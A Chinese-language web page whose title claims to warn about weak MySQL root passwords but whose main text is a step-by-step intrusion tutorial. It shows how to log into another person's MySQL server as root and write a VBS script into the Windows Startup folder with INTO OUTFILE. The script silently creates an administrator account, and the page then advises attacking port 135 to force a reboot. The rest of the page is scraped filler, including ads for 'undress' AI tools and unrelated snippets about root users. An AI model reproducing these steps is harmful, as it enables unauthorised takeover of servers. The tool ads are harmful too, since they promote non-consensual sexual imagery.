防止mysql用户root密码弱口令的攻击方法
文章介绍关于防止mysql用户root密码弱口令的攻击,大家可以看看自己的mysql root是不是也存在这样的安全隐患。
1、连接到对方MYSQL 服务器
-u root -h 192.168.0.1
mysql.exe 这个程序在你安装了MYSQL的的BIN目录中。
2、让我们来看看服务器中有些什么
mysql>show databases; MYSQL默认安装时会有MYSQL、TEST这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库。
3、让我们进入数据库
mysql>use test; 我们将会进入test数据库中。
4、查看我们进入数据库中有些什么数据表
mysql>show tables; 默认的情况下,test中没有任何表的存在。
以下为关键的部分
5、在TEST数据库下创建一个新的表;
mysql>create table a (cmd text); 好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。
6、在表中插入内容
代码如下 | 复制代码 |
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " ); mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0) " ); |
注意双引号和括号以及后面的"0"一定要输入!我们将用这三条命令来建立一个VBS的脚本程序! 7、好了,现在我们来看看表a中有些什么
mysql> * from a;我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步
8、输出表为一个VBS的脚本文件
mysql>select * from a into outfile "c:\docume~1\alluse~1\“开始”菜单\程序\启动\a.vbs"; 我们把我们表中的内容输入到启动组中,是一个VBS的脚本文件!注意""符号。
9、看到这大家肯定知道了,就是利用MYSQL输出一个可执行的文件而已。为什么不用BAT呢,因为启动运行时会有明显的DOS窗口出来,而用VBS脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!好了,找个工具攻击135让服务器重启吧,几分钟以后你就是管理员了。
总结:不管你什么时候都需要注意自己服务器的安全否则就别谈其它应用程序了,本文章讲述的mysql root密码弱口令的攻击只是安全应用中的冰山一解而己。

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics

In Ubuntu systems, the root user is usually disabled. To activate the root user, you can use the passwd command to set a password and then use the su- command to log in as root. The root user is a user with unrestricted system administrative rights. He has permissions to access and modify files, user management, software installation and removal, and system configuration changes. There are obvious differences between the root user and ordinary users. The root user has the highest authority and broader control rights in the system. The root user can execute important system commands and edit system files, which ordinary users cannot do. In this guide, I'll explore the Ubuntu root user, how to log in as root, and how it differs from a normal user. Notice

0x01 Background of the article Recently, the storage of a business system of the author's company is approaching the limit, and the server will soon be unable to run. Because the business system A contains multiple subsystems A1, A2, A3... An, the middle of these subsystems Due to design reasons, the stored files are all stored in the same parent directory. The only difference is that the names of files and folders generated by different subsystems all start with the name of the subsystem. For example, the files generated by the A1 subsystem are all named A1xxxxxx, and the file names generated by the A2 subsystem are all A2xxxxx. Now we need to delete the historical files of some of these subsystems to free up server space. Dozens of terabytes of data are stored together. Manual deletion will definitely not show up. We can only use program automation.

Both root and alias can be defined in the location module, and are used to specify the real path of the requested resource, for example: location/i/{root/data/w3;} requests http://foofish.net/i/top.gif When this address is used, the corresponding real resource in the server is the /data/w3/i/top.gif file. Note: The real path is the value specified by root plus the value specified by location. And alias is just like its name. The path specified by alias is the alias of location. No matter how the value of location is written, the real path of the resource is the path specified by alias, such as

1. Taking CentOS as an example, after logging in, modify /etc/passwd and /etc/shadow, change the root starting on the first line to a new user name (such as admin), and save through wq! after modification. 2. After modifying and saving, it will take effect after restarting the server. You can check the permissions of the file and see that the account column has changed to admin, as follows: Note: The default user with the highest administrative authority in Linux is root, uid is 0. Only uid is recognized in the system, so as long as uid is 0, the system is regarded as the highest administrative user. However, there may be certain problems with applications. Some software uses the root user by default, so if you have limited understanding of software applications,

The benefits of rooting your phone: 1. You can back up the system; 2. You can use advanced programs; 3. You can modify and delete system programs; 4. You can install programs on the SD card; 5. You can modify system fonts, etc. Disadvantages: 1. After the mobile phone is rooted, it is easy to be invaded by Trojan viruses; 2. System damage may occur due to incompleteness and software compatibility issues; 3. After the mobile phone is rooted, the software mistakenly deletes system files, causing system errors; 4. There is a risk that user privacy will be leaked after rooting the phone, etc.

For some shared machines, we may not have root permissions, so it will be a little troublesome to install the program. In fact, as long as the relevant files are placed in their own directories, the root permission restrictions can be waived. I installed libevent without root permissions. Just specify the installation path to my /home directory through prefix: ./configure--prefix=/home/****/libevent--enable-sharedmakemakeinstallmakeverify#libevent test, others The installation may not be available.

The current mobile phone is not rooted, which means that the operating system of the mobile phone has not obtained super user permissions. In the Android system, root permission is the highest permission, which allows users to make in-depth modifications to the system and access sensitive system files. The phone is still in the default state. status, no system permissions have been modified, which means that users cannot directly access and modify system files, and cannot perform some advanced system operations. Ordinary users using unrooted mobile phones can use the basic functions of the mobile phone and install applications normally. There will be restrictions in certain special scenarios.

Step 1: First log in to MySQL and enter the following command in the terminal to enter the MySQL console: sudomysql If you are prompted for a password after entering this command, please enter the password of your root user. Step 2: Change the password. After we enter the MySQL console, we can start to change the password of the root user. Set the password as follows: ALTERUSER'root'@'localhost'IDENTIFIEDWITHmysql_native_passwordBY'new_password&am
